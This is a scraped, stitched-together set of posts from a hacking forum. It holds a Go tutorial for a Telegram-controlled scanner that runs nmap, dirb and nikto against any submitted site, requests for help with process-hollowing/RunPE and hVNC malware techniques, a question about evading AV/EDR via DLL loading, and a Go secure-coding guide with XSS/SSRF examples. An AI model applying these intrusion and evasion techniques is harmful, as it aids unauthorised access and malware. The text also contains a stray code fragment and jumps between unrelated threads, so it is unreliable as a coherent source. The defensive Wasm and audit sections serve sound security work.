Этот код вычисляет SHA-256 хеш загруженного Wasm-модуля и сравнивает его с ожидаемым значением. Если хеши не совпадают, модуль не загружается. Это как проверка паспорта на границе - никаких поддельных Wasm-модулей!
Даже если Wasm-модуль прошел все проверки, мы все равно должны следить за его поведением. Вот пример инструментирования Wasm-модуля для отслеживания вызовов функций:
JavaScript:Copy to clipboard
const importObject = {
env: {
memory: new WebAssembly.Memory({ initial: 1 }),
table: new WebAssembly.Table({ initial: 1, element: 'anyfunc' }),
abort: () => { throw new Error('Abort called'); },
},
console: {
log: (value) => {
console.log('Wasm log:', value);
}
},
instrument: {
functionCalled: (funcIndex) => {
console.log(`Function ${funcIndex} called`);
}
}
};
WebAssembly.instantiateStreaming(fetch('module.wasm'), importObject)
.then(({ instance }) => {
// Использование инструментированного модуля
});
Этот код добавляет функцию functionCalled
, которая вызывается перед каждой
функцией в Wasm-модуле. Это позволяет нам отслеживать, какие функции
вызываются и в каком порядке.
Многие вредоносные Wasm-модули полагаются на доступ к API браузера для своих темных делишек. Наша задача - не дать им этого доступа. Вот пример того, как можно ограничить доступ Wasm-модуля к API:
JavaScript:Copy to clipboard
const restrictedImportObject = {
env: {
memory: new WebAssembly.Memory({ initial: 1 }),
// Только безопасные функции
abs: Math.abs,
min: Math.min,
max: Math.max,
}
};
WebAssembly.instantiateStreaming(fetch('module.wasm'), restrictedImportObject)
.then(({ instance }) => {
// Использование ограниченного модуля
});
Этот код предоставляет Wasm-модулю только ограниченный набор безопасных функций. Никакого доступа к DOM, сети или другим потенциально опасным API. Короче он там как в бункере будет - никаких контактов с внешним миром.
Банально возможно, но помните: в мире нет ничего постоянного, кроме перемен. Вчерашние меры безопасности сегодня могут оказаться бесполезными. Поэтому важно регулярно обновлять все компоненты системы:
Регулярно запускайте такие проверки и обновляйте все до последних версий. Помните: в мире лучше быть параноиком, чем потом разгребать последствия!
Последний, но не менее важный аспект защиты - это образование. Все члены вашей команды должны понимать риски, связанные с WebAssembly, и знать, как их минимизировать.
Вот несколько ключевых моментов, которые должен знать каждый разработчик:
Распечатать можно, ну или там на рабочий стол обои поставить, от греха подальше.
Фух, ну и путешествие у нас получилось! Мы прошли путь от базового понимания WebAssembly до продвинутых техник защиты от Wasm-атак.
Что я вообще хотел сказать этой статьей: в мире кибербезопасности нет
волшебной пилюли. Защита - это постоянный процесс, требующий бдительности,
знаний и немного паранойи.
WebAssembly - мощная технология с огромным потенциалом. Но, как и любой мощный
инструмент, она может быть использована как во благо, так и во вред.
Возможность написания супермультиплатформенных приложений и выполнения кода
"на чем угодно" - это очень серьезное заявление, и хотелось бы чтобы
разработчики также осознавали потенциальную серьезность последствий от
создания таких решений.
Ну а я на этом прощаюсь, с вами был Патрик, специально для XSS.
Изучайте новое, развивайтесь, стремитесь к совершенству.
И до новых встреч!
P.S. И не забывайте время от времени отключать компьютер и выходить на свежий воздух. Говорят, там тоже бывает интересно!
_Автор:miserylord
Эксклюзивно для форума:
_xss.is
Трям! Здравствуйте! Меня всё ещё зовут miserylord!
Код, представленный в статье, демонстрирует автоматизацию этапа разведки, а также сканирования в рамках пентеста веб-сайтов. Код использует знакомые утилиты типа nmap и whois, а его идея заключается в автоматизации рутинных задач, повышении эффективности и удобства. Для повышения эффективности используются горутины, а для удобства работа происходит посредством телеграм- бота. Код довольно легко расширять, подключая дополнительные инструменты.
Разделы
Spoiler: Начало
С чего начинается тестирование на проникновение?
Первым этапом пентеста является разведка. Разведку принято разделять на пассивную и активную. В рамках первой происходит сбор информации о цели без прямого контакта с ней, в рамках второй она приобретает более агрессивную форму и прямое взаимодействие. Например, пассивная разведка включает поиск портов и сервисов, запущенных на них с помощью Shodan, тогда как активная разведка использует nmap для той же цели.
Инструментов для OSINT существует огромное множество. Сотни инструментов пассивной разведки можно найти на сайте OSINT Framework, для активной разведки можно взглянуть на предустановленные скрипты для Kali Linux.
В коде я буду совмещать два этапа и возьму лишь несколько инструментов для демонстрации работы.
Подготовка
Поскольку большинство скриптов, которые мы будем использовать, написаны под Linux, работа будет происходить именно на нем. Сервер, на котором запущен Linux, не обязан иметь графическое окружение или большие мощности, однако без запуска кода на нем убедиться в его работоспособности будет невозможно. Удобнее всего будет работать с помощью следующего сетапа:
На Linux-машине необходимо запустить SSH-сервер. После этого на основной машине в IDE VS Code установить расширение Remote Explorer. Сначала нужно прописать адрес сервера, открыв командную палитру с помощью комбинации Ctrl+Shift+P и выбрав Add New SSH Host..., затем подключиться с помощью команды Remote-SSH: Connect to Host. Для каждого SSH-клиента VS Code создает новый объект, что означает, что все расширения, установленные в VS Code, не будут работать для SSH и их нужно установить дополнительно. Это очень удобный способ взаимодействия с кодом.
Само собой, на Linux должен быть установлен Go, а также все утилиты, с которыми будет происходить работа.
Spoiler: Реализация проекта
Идея
Определенная часть этапа разведки достаточно заскриптована, к тому же занимает продолжительное время. Пользовательская история очень проста: передаем ссылку на веб-сайт, с которым проводим тестирование программе, и получаем сформированный отчет в виде текстового файла с результатами всех проверок.
Перейдем к коду.
Структура
Структура проекта на начальном этапе будет следующей:
В коде main.go на данном этапе будет следующий код:
C-like:Copy to clipboard
package main
import (
"osint_sc/scanner"
)
func main() {
// 1
URL := "https://example.com"
// 2
s := scanner.NewScanner(URL)
// 3
s.Scan()
}
report.go
В папке report создадим файл report.go со следующим кодом:
C-like:Copy to clipboard
package report
import (
"fmt"
"os"
)
// 1
type Report struct {
sections map[string]string
}
// 2
func NewReport() *Report {
return &Report{
sections: make(map[string]string),
}
}
// 3
func (r *Report) AddSection(title, content string) {
r.sections[title] = content
}
// 4
func (r *Report) Save(filename string) error {
file, err := os.Create(filename)
if err != nil {
return err
}
defer file.Close()
for title, content := range r.sections {
_, err := file.WriteString(fmt.Sprintf("== %s ==\n%s\n\n", title, content))
if err != nil {
return err
}
}
return nil
}
robotstxt.go
На веб-сайтах очень часто существует директория /robots.txt. Этот файл создается для поисковых роботов и в нем указывается, какие страницы не следует индексировать. Например, владелец сайта не хотел бы, чтобы страница /admin попала в поисковую выдачу. В то же время этот файл может раскрывать информацию, полезную для тестирования (интересные директории, админки).
Помимо этой директории могут существовать и другие, которые раскрывают полезную информацию. Например, можно проверить такие директории, как .git и .env. Однако для демонстрации кода будет использован только файл robots.txt; другие можно добавить в коде аналогичным образом.
В папке scanner создадим файл robotstxt.go для написания первой проверки в рамках сканера.
C-like:Copy to clipboard
package scanner
import (
"fmt"
"io/ioutil"
"net/http"
)
// 1
func (s *Scanner) checkRobotsTxt() (string, error) {
// 2
resp, err := http.Get(fmt.Sprintf("%s/robots.txt", s.URL))
if err != nil {
return "", err
}
defer resp.Body.Close()
// 3
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("failed to fetch /robots.txt, status code: %d", resp.StatusCode)
}
// 4
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
// 5
return string(body), nil
}
scanner.go
В той же папке напишем код для scanner.go:
C-like:Copy to clipboard
package scanner
import (
"fmt"
"osint_sc/report"
)
// 1
type Scanner struct {
URL string
}
// 2
func NewScanner(url string) *Scanner {
return &Scanner{URL: url}
}
// 3
func (s *Scanner) Scan() {
// 4
report := report.NewReport()
// 5
robotsContent, err := s.checkRobotsTxt()
if err != nil {
report.AddSection("robots.txt", fmt.Sprintf("robots.txt is not available: %v", err))
} else { report.AddSection("robots.txt", robotsContent) }
// 6
err = report.Save("report.txt")
if err != nil {
fmt.Printf("Error saving report: %v\n", err)
return
}
// 7
fmt.Println("Scan completed and report saved to report.txt")
}
Далее я буду реализовывать функции для других сканеров. Для вызова их в scanner.go следует лишь заменить checkRobotsTxt на новую функцию и изменить то, что записывается в AddSection. Вернемся к этому коду на этапе внедрения горутин.
whois.go
Команда whois используется для получения информации о домене, включая дату регистрации и дату истечения домена, а также данные владельца — имя, контактные данные, адрес и организацию, через которую зарегистрирован домен.
Напишем код в файле whois.go.
C-like:Copy to clipboard
package scanner
import (
"os/exec"
"strings"
)
func (s *Scanner) checkWhois() (string, error) {
// 1
URL := strings.TrimPrefix(s.URL, "https://")
// 2
cmd := exec.Command("whois", URL)
// 3
output, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
return string(output), nil
}
В целом код повторяет checkRobotsTxt, за исключением нескольких моментов:
nslookup.go
Команда nslookup используется для выполнения запросов к DNS-серверам. Она позволяет узнать, какие IP-адреса связаны с определенным доменным именем.
C-like:Copy to clipboard
package scanner
import (
"os/exec"
"strings"
)
func (s *Scanner) checkNslookup() (string, error) {
URL := strings.TrimPrefix(s.URL, "https://")
cmd := exec.Command("nslookup", URL)
output, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
return string(output), nil
}
Код точь-в-точь повторяет метод checkWhois(), за исключением замены команды whois на nslookup.
reversIP.go
Реверс IP-чек — это процесс определения, какие доменные имена или веб-сайты размещены на одном и том же IP-адресе. То есть, мы передаем IP-адрес и получаем доменные имена, которые находятся на этом IP.
Существует несколько способов такой проверки. В примере я воспользуюсь сервисом https://viewdns.info/. Регистрируемся на сайте и получаем API-ключ. Создаем папку config и в ней файл api.go, в котором будут храниться API-ключи. Почему не .env? В данном контексте .env может не иметь смысла, однако, если вы планируете публичное размещение кода через Git, имеет смысл хранить такие данные в .env.
C-like:Copy to clipboard
package config
var Viewdns = "11111111111111111111apikey"
Из документации определяем, как составить запрос. Первые 250 запросов бесплатны. Пишем код в файле reverseIP.go.
C-like:Copy to clipboard
package scanner
import (
"fmt"
"io/ioutil"
"net/http"
"os/exec"
"osint_sc/config"
"regexp"
"strings"
)
func (s *Scanner) checkReverseIP() (string, error) {
URL := strings.TrimPrefix(s.URL, "https://")
// 1
cmd := exec.Command("host", URL)
output, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
// 2
ipAddresses := extractIPAddresses(string(output))
// 3
var result strings.Builder
// 4
for _, ip := range ipAddresses {
// 5
urlFinal := fmt.Sprintf("https://api.viewdns.info/reverseip/?host=%s&apikey=%s&output=json", ip, config.Viewdns)
resp, err := http.Get(urlFinal)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
// 6
formattedJSON, err := s.formatJSON(string(body))
if err != nil {
return "", err
}
// 7
result.WriteString(fmt.Sprintf("IP: %s\nResponse: %s\n\n", ip, formattedJSON))
}
// 8
return result.String(), nil
}
Функцию extractIPAddresses реализуем в том же файле.
C-like:Copy to clipboard
func extractIPAddresses(data string) []string {
// 1
re := regexp.MustCompile(`has address (\d+\.\d+\.\d+\.\d+)`)
// 2
lines := strings.Split(data, "\n")
var ipAddresses []string
// 3
for _, line := range lines {
if matches := re.FindStringSubmatch(line); matches != nil {
ipAddresses = append(ipAddresses, matches[1])
}
}
return ipAddresses
}
Ну и наконец напишем метод formatJSON в файле scanner.go.
C-like:Copy to clipboard
func (s *Scanner) formatJSON(jsonStr string) (string, error) {
// 1
var jsonObj interface{}
if err := json.Unmarshal([]byte(jsonStr), &jsonObj); err != nil {
return "", fmt.Errorf("error unmarshalling JSON: %v", err)
}
// 2
formattedJSON, err := json.MarshalIndent(jsonObj, "", " ")
if err != nil {
return "", fmt.Errorf("error formatting JSON: %v", err)
}
// 3
return string(formattedJSON), nil
}
wayback.go
Wayback Machine — это сервис, который служит архивом веб-страниц, сохраняя их снимки на разных временных точках. Это позволяет возвращаться к предыдущим состояниям страниц и увидеть, как тот или иной сайт выглядел в прошлом, что может быть полезно.
У сервиса есть API https://archive.org/help/wayback_api.php. Оно бесплатное и имеет довольно ограниченные возможности — по сути, позволяет проверить, доступны ли снимки для запрашиваемого веб-сайта или нет. Эндпоинт, указанный в документации, работает не совсем так, как указано, и мне пришлось немного изменить запрос, чтобы в итоге получить нужный результат. Давайте напишем код в файле wayback.go.
C-like:Copy to clipboard
package scanner
import (
"fmt"
"io/ioutil"
"net/http"
)
func (s *Scanner) checkWayBack() (string, error) {
urlFinal := fmt.Sprintf("https://archive.org/wayback/available?url=%s/", s.URL)
resp, err := http.Get(urlFinal)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
formattedJSON, err := s.formatJSON(string(body))
if err != nil {
return "", err
}
return formattedJSON, nil
}
Код точно такой же, как и в методе checkReverseIP(): указываем ссылку (в таком формате, иначе ответ будет некорректным), делаем запрос, читаем ответ, форматируем и возвращаем JSON в виде строки.
ssl.go
Проверку сертификата SSL можно организовать различными способами. В данном примере я буду использовать API ssl-checker.io, хотя эту же задачу можно решить, не прибегая к сторонним API (например, с помощью openssl). Проверка сертификата помимо прочего показывает дату, до которой сертификат действителен.
C-like:Copy to clipboard
package scanner
import (
"fmt"
"io/ioutil"
"net/http"
"strings"
)
func (s *Scanner) checkSSL() (string, error) {
URL := strings.TrimPrefix(s.URL, "https://")
urlFinal := fmt.Sprintf("https://ssl-checker.io/api/v1/check/%s", URL)
resp, err := http.Get(urlFinal)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
formattedJSON, err := s.formatJSON(string(body))
if err != nil {
return "", err
}
return formattedJSON, nil
}
Код аналогичен коду в методе checkWayBack(), за исключением замены эндпоинта.
nmap.go
Nmap — это мощный инструмент для сканирования сетей и обнаружения хостов, служб, операционных систем и уязвимостей. Он имеет множество возможностей, [Nmap Cheat Sheet 2024: All the Commands Flags](https://www.stationx.net/nmap- cheat-sheet/) и каждый может использовать свои собственные флаги. В коде используется стандартная команда nmap без дополнительных аргументов (проверка топ-1000 портов, SYN scan).
C-like:Copy to clipboard
package scanner
import (
"os/exec"
"strings"
)
func (s *Scanner) checkNmap() (string, error) {
URL := strings.TrimPrefix(s.URL, "https://")
cmd := exec.Command("nmap", URL)
output, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
return string(output), nil
}
sublister3r.go
Sublist3r — это отличная утилита для поиска поддоменов сайта. Работает очень быстро и эффективно. Для её запуска необходим Python, а также ряд библиотек. Процесс установки описан в их репозитории: https://github.com/aboul3la/Sublist3r.
C-like:Copy to clipboard
package scanner
import (
"os/exec"
"strings"
)
func (s *Scanner) checkSublister3r() (string, error) {
// 1
dir := "/home/user/Desktop/script/Sublist3r/sublist3r.py"
URL := strings.TrimPrefix(s.URL, "https://")
// 2
cmd := exec.Command("python3", dir, "-d", URL)
output, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
return string(output), nil
}
ring(output), nil
}
dirb.go
Для поиска скрытых директорий и файлов воспользуемся сканером Dirb. Dirb поможет обнаружить файлы конфигураций, админ-панели, бэкапы и так далее.
C-like:Copy to clipboard
package scanner
import (
"os/exec"
)
func (s *Scanner) checkDirb() (string, error) {
cmd := exec.Command("dirb", s.URL, "/usr/share/dirb/wordlists/common.txt")
output, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
return string(output), nil
}
Небольшое изменение в этом коде заключается в добавлении ещё одного аргумента методу exec.Command. В целом, сколько бы ни было аргументов, все они передаются через запятую. Помимо ссылки, также передается словарь для брута директорий. Этот словарь автоматически устанавливается при установке dirb. Помимо него, есть словарь с большим количеством слов — big.txt.
nikto.go
Автоматические сканеры веб-уязвимостей помогают сразу обнаружить известные уязвимости. Для примера воспользуемся бесплатным сканером Nikto. На мой взгляд, он слабее относительно других решений, хотя разные сканеры могут найти разные уязвимости. Nikto можно заменить на любой другой, например, на Acunetix (с которым возможна удобная интеграция по API).
C-like:Copy to clipboard
package scanner
import (
"os/exec"
)
func (s *Scanner) checkNikto() (string, error) {
cmd := exec.Command("nikto", "-h", s.URL)
output, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
return string(output), nil
}
Всё также, за исключением того, что мы передаём аргумент -h (хост) методу exec.Command.
whatweb.go
И последним добавим инструмент WhatWeb. WhatWeb определяет, какие технологии использует сайт для работы, а также способен определить версии библиотек и фреймворков. Некоторые инструменты, типа Wappalyzer, дадут больше информации, однако WhatWeb полностью бесплатен.
C-like:Copy to clipboard
package scanner
import (
"os/exec"
)
func (s *Scanner) checkWhatWeb() (string, error) {
cmd := exec.Command("whatweb", s.URL)
output, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
return string(output), nil
}
Добавляя другие инструменты, как сторонние сервисы по API, так и программы, написанные под Linux, используя этот подход, можно создать идеальный сканер под свои задачи.
Spoiler: Эффективность
Горутины
Код прекрасно работает, но он может работать быстрее. По сути, мы можем запустить каждый метод в отдельной горутине и значительно сократить общее время работы. Это всё равно что открыть сразу все терминалы и ввести все команды параллельно. Общее время работы программы сократится до времени последнего ответа из всех (того процесса, который работает дольше всего; в этом коде это, скорее всего, будет Nikto).
Подробнее о конкурентном программировании можно почитать в статье, посвящённой брутфорсу почтовых адресов по IMAP.
В первую очередь нужно ограничить доступ к критической секции. В Go карты не являются потокобезопасными по умолчанию. Это означает, что одновременное чтение и запись в карту из нескольких горутин может привести к гонкам данных и некорректному поведению программы.
В файл report.go внесём несколько изменений.
C-like:Copy to clipboard
// 1
type Report struct {
mu sync.Mutex
sections map[string]string
}
// 2
func (r *Report) AddSection(title, content string) {
r.mu.Lock()
defer r.mu.Unlock()
r.sections[title] = content
}
Внесем изменения в файл scanner.go. Помимо горутин, немного изменим логику: теперь функция будет возвращать имя сохраненного файла, что необходимо для дальнейшей работы с Telegram ботом.
C-like:Copy to clipboard
// 1
func (s *Scanner) Scan() string {
report := report.NewReport()
// 2
var wg sync.WaitGroup
// 3
tasks := []struct {
name string
action func() (string, error)
}{
{"robots.txt", s.checkRobotsTxt},
{"whois", s.checkWhois},
{"nslookup", s.checkNslookup},
{"reverseIP", s.checkReverseIP},
{"wayback", s.checkWayBack},
{"ssl", s.checkSSL},
{"sublist3r", s.checkSublister3r},
{"nmap", s.checkNmap},
{"dirb", s.checkDirb},
{"nikto", s.checkNikto},
{"whatweb", s.checkWhatWeb},
}
// 4
for _, task := range tasks {
wg.Add(1)
go func(name string, action func() (string, error)) {
defer wg.Done()
content, err := action()
if err != nil {
report.AddSection(name, fmt.Sprintf("%s is not available: %v", name, err))
} else {
report.AddSection(name, content)
}
}(task.name, task.action)
}
// 5
wg.Wait()
// 6
filename := fmt.Sprintf("report_%s.txt", sanitizeURL(s.URL))
err := report.Save(filename)
if err != nil {
log.Fatalf("Error saving report: %v\n", err)
}
fmt.Println("Scan completed")
// 7
return filename
}
Напишем функцию sanitizeURL ниже в том же файле.
C-like:Copy to clipboard
func sanitizeURL(url string) string {
// 1
replacer := strings.NewReplacer(
"/", "",
"\\", "",
":", "",
"*", "",
"?", "",
"\"", "",
"<", "",
">", "",
"|", "",
"https", "",
)
return replacer.Replace(url)
}
Код стал работать быстрее! Остался финальный штрих — интеграция кода в телеграм-бота.
Spoiler: Практичность
Телеграм-бот
Механизм работы состоит в том, что бот получает ссылку на сайт, вызывает функцию сканирования, получает от неё путь к файлу и отправляет его назад в диалог.
Переходим в Телеграм, создаём нового бота с помощью BotFather, следуем инструкциям, получаем токен и сохраняем его в файле tg.go в папке config.
C-like:Copy to clipboard
package config
var Token = "1:1111111"
Для работы с Телеграмом воспользуемся библиотекой github.com/go-telegram-bot- api/telegram-bot-api, установив её в проект. Создадим папку tg и файл bot.go с основной логикой работы.
C-like:Copy to clipboard
package tg
import (
"net/url"
"osint_sc/scanner"
"strings"
tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api"
)
// 1
func HandleUpdate(bot *tgbotapi.BotAPI, update tgbotapi.Update) {
// 2
if update.Message == nil {
return
}
// 3
msg := update.Message
text := msg.Text
// 4
if strings.HasPrefix(text, "/start") {
reply := "Send me a URL"
message := tgbotapi.NewMessage(msg.Chat.ID, reply)
bot.Send(message)
return
}
// 5
if isValidURL(text) {
// 6
s := scanner.NewScanner(text)
result := s.Scan()
// 7
file := tgbotapi.NewDocumentUpload(msg.Chat.ID, result)
bot.Send(file)
} else { // 8
reply := "Please send a valid URL."
message := tgbotapi.NewMessage(msg.Chat.ID, reply)
bot.Send(message)
}
}
// 9
func isValidURL(link string) bool {
parsedURL, err := url.ParseRequestURI(link)
return err == nil && parsedURL.Scheme != "" && parsedURL.Host != ""
}
Ну и наконец вызовем бота в файле main.go.
C-like:Copy to clipboard
package main
import (
"fmt"
"log"
"osint_sc/config"
"osint_sc/tg"
tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api"
)
func main() {
// 1
bot, err := tgbotapi.NewBotAPI(config.Token)
if err != nil {
log.Fatalf("Failed to create bot: %v", err)
}
// 2
fmt.Printf("Authorized on account %s\n", bot.Self.UserName)
// 3
u := tgbotapi.NewUpdate(0)
u.Timeout = 60
// 4
updates, err := bot.GetUpdatesChan(u)
if err != nil {
log.Fatalf("Failed to get updates: %v", err)
}
// 5
for update := range updates {
tg.HandleUpdate(bot, update)
}
}
Теперь, запустив бота, у нас есть возможность использовать Telegram для запуска сканирования сайта со всеми подключёнными утилитами!
Проект завершён. Возможности можно расширять, реализуя несколько сценариев взаимодействия с ботом и добавляя различные команды с разными настройками сканера.
На этом буду прощаться и возвращаться в Телемелитряндию!
Mojo сочетает в себе удобство использования Python и производительность C, что обеспечивает беспрецедентную программируемость аппаратных средств ИИ и расширяемость моделей ИИ.
Официальный сайт: https://www.modular.com/max/mojo
Википедия: https://en.wikipedia.org/wiki/Mojo_(programming_language)
Насколько я понял, язык появился год назад. Предлагает какие-то невероятные
показатели скорости и совместимость с питоном:
Первое интересное отличие от питона, которое я заметил это отсутствие классов.
Второе - расширение файла .mojo или
.
Общая информация откуда-то с реддита:
Ваши мысли?
Hey, I am trying to write process hollowing / runpe64 techniques in rust but i can't make it work. I lost lot of time and i have other thing to do more important. Could an expert in Winapi, malware developper debug my code please ? Would be greatly appreciated.
Code based on :
](https://github.com/dobin/antnium/blob/master/pkg/inject/techniques.go#L139)
A C2 framework for initial access in Go. Contribute to dobin/antnium development by creating an account on GitHub.
github.com
![gist.github.com](/proxy.php?image=https%3A%2F%2Fgithub.githubassets.com%2Fassets%2Fgist- og- image-54fd7dc0713e.png&hash=3c443d37e802be4e12ebf9a55c2a4385&return_error=1)
](https://gist.github.com/valinet/e27e64927db330b808c3a714c5165b0a)
RunPE for x64. GitHub Gist: instantly share code, notes, and snippets.
gist.github.com
](https://github.com/Zer0Mem0ry/RunPE/blob/master/RunPE.cpp)
Code that allows running another windows PE in the same address space as the host process. - Zer0Mem0ry/RunPE
github.com
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F48c39fe6ceb6bb519bd49fa8aa135663f2ffcd598c5f779b0ee01195204936a4%2Fabdullah2993%2Fgo- runpe&hash=965459fa95aaf4d962383583e989c7ec&return_error=1)
](https://github.com/abdullah2993/go-runpe/blob/master/runpe.go#L63)
execute a PE in the address space of another PE aka process hollowing - abdullah2993/go-runpe
github.com
What are your favorite hVNC implementations over the years? Developing something new and I need good inspiration -- would like to look at something and review implementation and add my own special sauce to it (and convert to Zig/Nim/V)
Есть ли в природе примеры создания hvnc без вызова классической функции CreateDesktop для создания скрытого раб стола и SetTheadDesktop для подключения к нему? Возможно, можно как то расширять уже существующий экран и вырисовывать то что нужно за границами десктопа.
Spoiler: Link here
](https://anonfiles.com/DdT9q7v6za/Black_Hat_Rust_Offensive_pdf)
anonfiles.com
Very interesting e-book about rust. enjoy .
Course Overview
Windows Foundations
Application Development Basics
Objects and Handles
Привет! Мы используем Go в качестве основного языка для разработки Web-API и
представляем вашему вниманию краткое руководство по быстрой проверке сервиса
на соответствие базовым требованиям безопасности.
Представленную ниже информацию можно адаптировать под проекты, написанные и на
других языках.
Первый и один из основных этапов анализа сервиса на соответствие требованиям безопасности — проверка пользовательского ввода. Мы ищем входные данные, принимаемые приложением, и определяем те из них, которым доверять нельзя, учитывая, что клиент является внешней сущностью. Такими данными могут быть:
Исключения
Исключениями из перечня данных пользовательского ввода будут параметры,
использующие стойкую цифровую подпись с секретом, например, хранящиеся на
сервере JWS (RFC 7515),
подписанные и проверяемые алгоритмами на основе HMAC/RSA/ECDSA. Однако
подобные параметры требуют особого внимания в связи с существованием атак на
схемы шифрования и подписи, например:
Если в коде есть собственная реализация криптографии, малоизвестные алгоритмы или алгоритмы, криптографическая стойкость которых не доказана либо исследований которой не существует, то можно:
Как может выглядеть плохая обработка входных данных в псевдокоде:
Git:Copy to clipboard
http.HandleFunc("/bar", func(w HTTP.ResponseWriter, r *HTTP.Request) {
fmt.Fprintf(w, "Hello %q!", r.Url.Query.Get("name")) // XSS
ref := r.Headers.Get("Referrer") // недоверенный заголовок
if ref != "" {
resp, err := HTTP.Get(ref+"/?utm_source=backend") // SSRF
if err != nil {
fmt.Error(err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Error(err)
return
}
addToLogFile(string(body)) // запись недоверенных данных
}
})
log.Fatal(HTTP.ListenAndServe(":8080", nil))
Для защиты от вредоносной нагрузки чаще всего применяют санитизацию — удаление и/или экранирование неправильных или небезопасных символов из пользовательского ввода.
Задача первичной обработки входных данных лежит на HTTP-библиотеке. Во время проверки кода стоит обращать внимание на использование или отсутствие следующих методов санитизации:
Примечание : если валидация и/или санитизация входных данных невозможна, то HTTP-запрос должен быть полностью отклонен.
Для реализации корректного механизма хранения и проверки паролей следует:
Пример верной обработки пользовательских паролей:
Code:Copy to clipboard
package main
import (
"crypto/rand"
"crypto/sha256"
"database/sql"
"context"
"fmt"
)
const saltSize = 32
func main() {
ctx := context.Background()
email := []byte("john.doe@somedomain.com")
password := []byte("47;u5:B(95m72;Xq")
// создать случайное слово
salt := make([]byte, saltSize)
_, err := rand.Read(salt)
if err!=nil {
panic(err)
}
// SHA256(salt+password)
hash := sha256.New()
hash.Write(salt)
hash.Write(password)
h := hash.Sum(nil)
// fmt.Printf("email : %s\n", string(email))
// fmt.Printf("password: %s\n", string(password))
// fmt.Printf("salt : %x\n", salt)
// fmt.Printf("hash : %x\n", h)
// использовать при подключении к БД
stmt, err := db.PrepareContext(ctx, "INSERT INTO accounts SET hash=?, salt=?, email=?")
if err != nil {
panic(err)
}
result, err := stmt.ExecContext(ctx, h, salt, email)
if err != nil {
panic(err)
}
}
Примечание: идеальным вариантом является использование способов аутентификации, отличных от аутентификации по паролям.
Необходимо правильно и своевременно обрабатывать ошибки по мере их появления, чтобы избежать ошибок бизнес-логики.
Пример обработки ошибок:
Code:Copy to clipboard
func initialize(i int) {
...
//Сбой
if i<2 {
fmt.Printf("Var %d - initialized\n", i)
} else {
//Завершаем нашу программу.
log.Fatal("Init failure - Terminating.")
}
}
func main() {
i:=1
for i<3 {
initialize(i)
i++
}
fmt.Println("Initialized all variables successfully")
}
Не допускайте включения чувствительных данных в журналы.
Во избежание data-tampering и нелегитимного доступа к сервису требуется проверять:
Легитимность передачи информации между двумя сервисами достигается:
Целостность информации можно обеспечить с помощью алгоритмов цифровой подписи и имитовставки (DSA и HMAC). Для этой задачи может быть использован mTLS или любой другой алгоритм (IKE, SSH) двусторонней аутентификации.
При проектировании микросервисов на основе Swagger рекомендуется проверять следующие критерии:
Code:Copy to clipboard
security:
- basicAuth: ['/admin']
- apiKey: ['/v1/']
Code:Copy to clipboard
/ping:
get:
summary: Checks if the server is running
security: [] # No security
Примечание : если используемые методы авторизации для конечных точек и API вызывают сомнения, то необходимо уточнить корректность используемых схем.
Если при работе сервиса требуется использовать TLS, например, для связи с другими сервисами, то необходимо учитывать следующие критерии:
Code:Copy to clipboard
config := &tls.Config{InsecureSkipVerify: true}
Code:Copy to clipboard
config := &tls.Config{MinVersion:0, MaxVersion:1}
Code:Copy to clipboard
config := &tls.Config{ServerName: "test-foo.com"}
Code:Copy to clipboard
import "crypto/tls"
Мы считаем это руководство хорошей отправной точкой для обсуждения и дальнейшего построения аудита безопасности сервисов, в том числе написанных на Go.
источник
автор @L1-1on
I do not know how is this magic happening in NIM (of course i will work on
this) but this is interesting to check. I just called LoadLibrary and
GetProcAddress to get export of dll which is __declspec defined. And it
executed the dll, which is strange?
Is this normal or i found a method to execute the dll to bypass AV/EDR?
opinions)
Code:Copy to clipboard
# Compile : nim c file.nim
import winim
var
lib:HMODULE
process:HOOKPROC
lib = LoadLibraryA("test.dll")
echo "Handle: ",GetLastError()
process = cast[HOOKPROC](GetProcAddress(lib,"DllMain"))
Also i am open for job) PM me.
Обсуждаем, задаем вопросы и пытаемся кодить на D.
Для тех кто не в танке: D это тот же самый СИ, только удобный. А ещё в нем
есть ооп без лишних нагромождений.
Особенности :
Официальный сайт: _
D is a general-purpose programming language with static typing, systems-level access, and C-like syntax.
dlang.org
Книга на русском по D:
http://www.striver00.ru/D/files/D-tutorialspoint_ru.pdf
Программирование Win32api на D:
wiki.dlang.org
_Форум по D: _
D Programming Language Forum
forum.dlang.org
_Примеры программирования Win32api на D: _
programming examples ](https://github.com/AndrejMitrovic/DWinProgramming)
A collection of D Win32 programming examples. Contribute to AndrejMitrovic/DWinProgramming development by creating an account on GitHub.
github.com
_
Год издания: 2021
Автор: Jo Van Hoey / Йо Ван Гуй
ISBN: 978-5-97060-929-3
Язык: Русский
Формат: PDF
Количество страниц: 332
Описание:
Изучив это руководство, вы сможете писать и читать исходный код на ассемблере
и применять ассемблер совместно с языками программирования высокого уровня,
используя необходимые для этого инструменты. В книге главным образом
рассматривается программирование в системе Linux, поскольку это самая простая
и удобная платформа для изучения языка ассемблера. В заключительных главах
дается общее представление об использовании ассемблера в ОС Windows.
Ассемблерный код представлен в виде полноценных завершенных программ, поэтому
вы можете протестировать их на своем компьютере, изменять их,
экспериментировать с ними и даже «сломать» их.
Рассматриваемые темы:
• как работает процессор и память компьютера;
• как компиляторы языков высокого уровня генерируют машинный код;
• профессиональные методы анализа ошибок в программах;
• как заставить программу работать;
• защита от вредоносных программ;
• что такое AVX.
Книга адресована читателям, имеющим базовые знания в области программирования
на языках высокого уровня.
